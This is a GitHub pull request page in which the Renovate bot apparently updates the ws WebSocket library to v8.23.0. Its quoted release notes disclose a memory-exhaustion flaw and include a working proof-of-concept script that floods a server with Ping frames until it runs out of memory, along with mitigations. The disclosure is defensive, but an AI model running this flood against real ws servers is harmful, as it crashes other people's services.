Skip to content

fix(deps): update dependency ws to v8.23.0 - #76

Merged
bloodf merged 1 commit into
mainfrom
renovate/ws-8.x
Nov 17, 2026
Merged

bloodf merged 1 commit into
mainfrom
renovate/ws-8.x

Conversation

@renovate

@renovate renovate Bot commented Nov 8, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
ws 8.22.1 → 8.23.0 age confidence

Release Notes

websockets/ws (ws)

v8.23.0

Compare Source

Features

  • Introduced the maxPendingAutoPongs option (ace7248).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (ace7248).

A malicious peer can flood the other peer with Ping frames while stopping reads,
forcing it to buffer Pong frames that are automatically sent in response until
memory is exhausted, leading to process termination due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(125);
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    ws.pause();

    (function ping() {
      ws.ping(data, function (err) {
        if (err) return;
        ping();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed by multiple reporters:

In vulnerable versions, the issue can be mitigated by enforcing rate-limiting
combined with heartbeats, or by setting the autoPong option to false, if
available.

v8.22.2

Compare Source

Bug fixes

  • The userinfo of the URL is now percent-decoded (#​2352).
  • The WebSocket constructor no longer mutates http: or https: url.URL
    objects (#​2353).

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/ws-8.x branch from d9e9511 to 176f811 Compare November 11, 2026 11:50
@renovate renovate Bot changed the title fix(deps): update dependency ws to v8.22.2 fix(deps): update dependency ws to v8.23.0 Nov 12, 2026
@renovate
renovate Bot force-pushed the renovate/ws-8.x branch 2 times, most recently from 667b1d4 to 0df5625 Compare November 14, 2026 09:29
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant